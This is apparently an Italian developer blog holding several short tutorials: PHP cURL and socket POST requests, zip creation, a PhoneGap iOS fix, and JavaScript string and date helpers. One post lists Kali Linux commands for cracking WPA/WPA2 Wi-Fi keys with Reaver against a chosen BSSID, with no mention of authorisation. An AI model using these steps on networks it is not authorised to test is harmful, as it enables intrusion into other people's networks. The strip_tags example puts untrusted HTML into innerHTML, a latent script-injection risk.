[PHP/cURL] How to check file exists with PHP and cURL lib

Salve a tutti,

oggi vorrei condividere una semplice funziona per il controllo dell’esistenza di un file (foto, video, file in generale)
con una semplice funzione php:

function check_file_exists($file_url) {
	$ch = curl_init($file_url);
	curl_setopt($ch, CURLOPT_NOBODY, true);
	curl_exec($ch);
	$retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
 
	if($retcode == '200')
		return TRUE; //exists
	else
		return FALSE;// not exists
 
}

Questa funzione cerca di ritornare l’HTTP CODE dal server remoto per restituirne il codice,
nel nostro caso se il codice di ritorno è 200 allora il file esiste, altrimenti no.

Esempio di utilizzo potrebbe essere:

<?php
$file_remoto = 'http://www.tuolink.com/multimedia.png';
 
if(check_file_exists($file_remoto) == 1) {
    print 'File esistente!';
}else{
    print 'File NON esistente!';
}
 
?>

Questo è tutto, spero servirà a qualcuno :D

[Javascript] Strip Tags in javascript

Salve a tutti,

oggi avevo la necessità di ripulire delle variabili da codice HTML e restituire un normale testo.
Per fare ciò ho optato ad una funzione molto semplice che vi illustro di seguito:

function strip_tags(html) {
    var tmp = document.createElement("DIV");
    tmp.innerHTML = html;
    return tmp.textContent || tmp.innerText;
}

Per utilizzarla basta semplicemente richiamarla così:

var variabile_sporca = '<html><body><a href="#1">Go 1</a></body></html>';
var contenuto_pulito = strip_tags(variabile_sporca);

Enjoy :D

[PHP/Socket] How to send data via POST with the Socket

Holaz a todos,

come per l’articolo precedente dell’invio di dati via POST con le cURL, ora vi spiego come inviarli via socket in PHP.
Questo script potrebbe essere utile qualora vi venisse in mente di effettuare uno scambio dati su svariati web server.

Ecco il codice (sempre rigorosamente commentato):

<?php
//Nome della pagina alla quale inviare i dati
$uri = '/test/response_socket.php';
 
//Indirizzo web (http:// o IP) dove indirizzare la chiamata socket (in questo caso è su un web server in locale)
$sito = '192.168.1.1';
 
$query = 'username=luongovincenzo92&password=7c4a8d09ca3762af61e59520943dc26494f8941b'; //valori post
 
//Controllo se la chiamate via socket va a buon fine sulla porta 80
if (!($sock = fsockopen($sito, 8080))) // se va bene creo l'oggetto $sock
	die ("[ERRPR] Connessione non riuscita, si prega di controllare se le socket sono abilitate");
 
//Genero il il pacchetto POST (HEADER HTTP) per inviarlo
fputs ($sock,
  "POST $uri HTTP/1.1\r\n".
  "Host: $sito\r\n".
  "Content-Type: application/x-www-form-urlencoded\r\n".
  "Content-Length: ".strlen($query)."\r\n". //Grandezza della chiamata
  "Connection: close\r\n\r\n".
  $query."\r\n");//dati di invio
 
//Vabiabile di contenimento dell'output di risposta
$out = "";
 
//Ciclo e attendo la risposta del socket per estrapolare la risposta del file
// fino a termine della chiamata
while (!feof($sock))
  $out .= fgets($sock);
 
//Chiudo la connessione
fclose($sock); 
 
//Cerco di pulire l'output sporcato dalla richiesta ( prima dei doppi \r\n cè la richiesta HTTP completa che a noi non serve)
$output_pulito = explode("\r\n\r\n", $out);
 
//Stampo la risposta
print $output_pulito[1];
?>

Per la pagina di risposta c’è sempre la solita:

<?php
 
print_r($_POST);
 
?>

Note: Ricordate che per eseguire correttamente questo script dovreste avere abilitate le socket sul vostro web server altrimenti non funzionerà mai.

Note 2: Se invece dovete aprire una connessione ad un web server esterno, dovrete abilitate il parametro allow_url_fopen del vostro php.ini

Ogni problema o dubbio commentate :D

[PHP/cURL] How to send data using POST method to any page with cURL

Salve a tutti,

da un recente progetto, mi sono tornate utili le librerie PHP di cURL per potermi dare la possibilità di inviare delle richieste con metodo POST ad un determinato Web Server.
vediamo di seguito come utilizzarle:

<?php 
 
//Qui dichiariamo la pagina con url completo, alla quale inviare i dati
$url = "http://www.sito.com/pagina_richiede_dati.php";
 
// Qui ninvece, dichiariamo i dati da inviare come se fossero via GET (quindi separati da una & )
$send_data = "username=luongovincenzo92&password=7c4a8d09ca3762af61e59520943dc26494f8941b&token=e10adc3949ba59abbe56e057f20f883e"; 
 
//Qui iniziamo ad utilizzare la libreria inizializzandola
$ch = curl_init();  
 
//Qui settiamo l'utl sulla quale inviare i dati
curl_setopt($ch, CURLOPT_URL, $url);  
 
//Qui settiamo la metodologia di invio dati (in questo caso POST)
curl_setopt($ch, CURLOPT_POST, 1);  
 
//Qui specifichiamo quali dati inviare alla pagina
curl_setopt($ch, CURLOPT_POSTFIELDS, $send_data);  
 
//Qui settiamo che vogliamo un valore di ritorno (in questo caso tutto ciò che restituisce la pagina)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
 
//Eseguo il comando e mi conservo la risposta della pagina
$response = curl_exec($ch); 
 
//Chiudo la connessione
curl_close($ch); 
 
// $res contiene la risposta della pagina a cui abbiamo inviato i dati via POST
print $response; 
 
?>

La pagina alla quale abbiamo inviato i dati è un qualcosa di simile:

<?php 
 
print_r($_POST); 
 
?>

E dalla pagina di invio dovremmo avere una risposta simile:

Array(
	"username" => "luongovincenzo92",
	"password" => "7c4a8d09ca3762af61e59520943dc26494f8941b",
	"token"    => "e10adc3949ba59abbe56e057f20f883e"
);

Ed ecco tutto.

Alla prossima ^_^

[PHP] How to create a ZIP file and download

Salve a tutti,

recentemente mi è tornato utile creare un archivio zip di determinati file, per poi poterlo scaricare dal web al volo.
Per fare ciò mi sono servito della fantastica libreria PclZip con la quale effettuare questa operazione.
bene ora vediamo il codice rigorosamente commentato

<?php
 
//CONFIG: Definisco uan variabile costante per dichiarare
// la cartella dove è contenuta la libreria PclZip
define('__PATH_ZIP_LIB__', './pclzip-2-6/');//Change this
 
//Nome dell'archivio 
$nome_archivio_zip = "Archivio_".date("dmY")."_".time().".zip"; 
 
//CONTROL: se esiste già, cerco di cancellarlo
if (file_exists($nome_archivio_zip)) 
	@unlink($nome_archivio_zip); 
 
 
//Includo la libreria e genero l'oggetto zip 
require_once(__PATH_ZIP_LIB__.'pclzip.lib.php'); 
 
$pclzip_obj = new PclZip($nome_archivio_zip); 
 
//Una lista di nomi di files da comprimere 
$lista_file_da_zippare = "profile.php,users.php,mysql.class.php"; //potete scrivere anche il nome di un singolo file eliminando la virgola finale
 
//Aggiungo i files all'archivio 
$response_pclzip = $pclzip_obj->add($lista_file_da_zippare); 
 
//Controllo eventuali errori che possibilmente 
//ha scaturito la compressione
if ($response_pclzip == 0)
    die("[ERROR] PclZip : ".$pclzip_obj->errorInfo(true)); 
 
//Opzionale: scarico l'archivio ZIP
if(!empty($_REQUEST['download'])) {	
 
	header("Content-type: application/zip"); 
	header("Content-Disposition: attachment; filename=$nome_archivio_zip"); 
	header("Content-Description: Backup"); 
	header("Content-Length: ".filesize($nome_archivio_zip)); 
	readfile($nome_archivio_zip);
}
?>

Ecco il sorgente già funzionante, potete modificarlo a vostro piacimento per le vostre esigenze.
Se volete far scaricare direttamente il file bastera richiamare il file php con il seguente URL:

nome_file.php?download=1

Fine, spero servirà a qualcuno :D

[HACKING/Wi-Fi] Cracking WPA & WPA2 key with Reaver on Kali Linux (No Dictionary – Wordlist)

Hola,

oggi vedremo qualche semplice comando per cercare di craccare una rete wireless con la
distribuzione Kali Linux (ex BackTrack).

Open terminal:

airmon-ng
airmon-ng stop [your interface My is wlan0]
airodump-ng [your interface My is wlan0]

Open new terminal:

wash -i [your interface My is wlan0] -c [CHANNEL NUM] -C -s

Open new terminal:

reaver -i [your interface My is wlan0] -b [BSSID] --fail-wait=360

Ecco anche un video dimostrativo: YouTube

Via: [Link]

[Phonegap/iOS] How to fix hide status bar with Phonegap 2.9.0

Salve a tutti,

dopo 4 ore (totali) di ricerca nel cercare di risolvere un problema fastidiosissimo alle app Phonegap inveriori alla 3.0, ho trovato il modo semplice per ovviare a questo problema.

Il problema in sè stava nel fatto che, la status bar dei device iPhone o iPad con sistema iOS 7.x.x, phonegap 2.9 rispetto alla 3.1, non gestiva correttamente il width massimo della webview phonegap così da visualizzare “sotto” (letteralmente) la status bar del device la vostra app.

Per risolvere questo problema, ci viene incontro il nostro caro e amato plist del nostro progetto in xCode 5.

Entriamo nella sezione delle proprietà del progetto e nella sezione TARGETS, trovate la dicitura Status Bar Style, sotto effettuate il check della voce

Hide during application lounch

Apriamo il file nome_progetto-info.plist (o simile) che troverete nella sezione Resources.

Troviamo la voce:

Status bar is initially hidden

E settiamolo a YES.

Ora premente il pulsante per aggiungere una nuova voce e aggiungece come key:

View controller-based status bar apparance

Oppure (per essere precisi)

UIViewControllerBasedStatusBarAppearance

Con type Boolean e il value settato su NO

Così avrete FISSATO (anche se temporaneamente) il bug della web view di phonegap.

Ricordo che con l’aggiornamento a Phonegap 3.1 o ulteriori il BUG è stato risolto e viene gestito correttamente.

Problemi o dubbi, commentate ^_^

[Javascript/PHP] How to delete the last character from a string

Salve a tutti,

oggi scriverò questo breve articolo per spiegare come eliminare l’ultimo carattere da una stringa, sia in linguaggio javascript che in PHP.

Per far ciò ci basta conoscere 2 funzioni dei relativi linguaggi, ovvero: substr (sia in javascript che in PHP) e strlen (in PHP) e l’equivalente in javascript ovvero .length .

Bene ora passiamo alle due funzioni:

Javascript:

function delete_last_character(str) {
    var charts_num = 1; //Questa variabil è possibile manipolarla a seconda di quanti caratteri ULTIMI eliminare
    var len = str.length;
    str = str.substr(0, len - charts_num);
    return str;
}

PHP:

function delete_last_character($str) {
    $charts_num = 1; //Questa variabil è possibile manipolarla a seconda di quanti caratteri ULTIMI eliminare
    return substr($str, 0, strlen($str) - $charts_num);
}

Questo è tutto, utilizzando queste funzioni vi ritornerà la stringa senza l’ultimo carattere finale o, modificando la variabile charts_num, vi permetterà di eliminare tot caratteri asseconda del set di questa variabile.

Detto questo, un saluto a tutti e alla prossima.

[javascript] Convert a time from H:i:s to H:i AM/PM (American format)

Salve a tutti,

come il post precedente per la conversione delle date, ecco ora la conversione per l’orario da un formato europeo (H:i:s) ad uno americano (H:i AM o PM).

Esempio:

da 00:40:01 a 12:40 AM

Per la conversione ho sviluppato una piccola funzione in javascript che permette di fare ciò:

function formatTime(time) {
 
    var type = "AM"; //PM
 
    var appo = time.split(':');
 
    var hour = appo[0];    
    var minu = appo[1];
    var seco = appo[2];
 
    if (hour >= 12) {
        hour = hour-12;
        type = "PM";
    }
 
    if (hour == 0) {
        hour = 12;
    }
 
    return (hour+':'+minu+' '+type);
}

Ecco una DEMO per il corretto funzionamento: http://jsfiddle.net/b5aqx/

Spero serva a qualcuno, alla prossima.

[Javascript] Convert a date from YYYY-MM-DD to Month DD, YYYY

Hola a tutti,

oggi avevo il bisogno di convertire una data di tipo YYYY-MM-DD (MySQL Format) in una data in stile americano Month DD, YYYY.

Esempio:

Da 2013-01-01 a Jan 01, 2013

Per fare ciò in javascript ho sviluppato una piccola funzione per la conversione della data:

function formatDate(input) {
	var datePart = input.match(/\d+/g),
	year  = datePart[0].substring(0), 
	month = datePart[1], 
	day = datePart[2];
 
	if(month < 10) {
		month = month.substring(1);
	} 
 
	var month_arr = new Array();
 
	month_arr[1]="Jan";
	month_arr[2]="Feb";
	month_arr[3]="Mar";
	month_arr[4]="Apr";
	month_arr[5]="May";
	month_arr[6]="Jun";
	month_arr[7]="Jul";
	month_arr[8]="Aug";
	month_arr[9]="Sep";
	month_arr[10]="Oct";
	month_arr[11]="Nov";
	month_arr[12]="Dec";
	var month_final = month_arr[parseInt(month)]; 
 
	return month_final+' '+day+', '+year;      
 
 
}

Ecco una demo per il corretto utilizzo: http://jsfiddle.net/7xVRe/

Spero sarà utile a qualcuno, saluti :D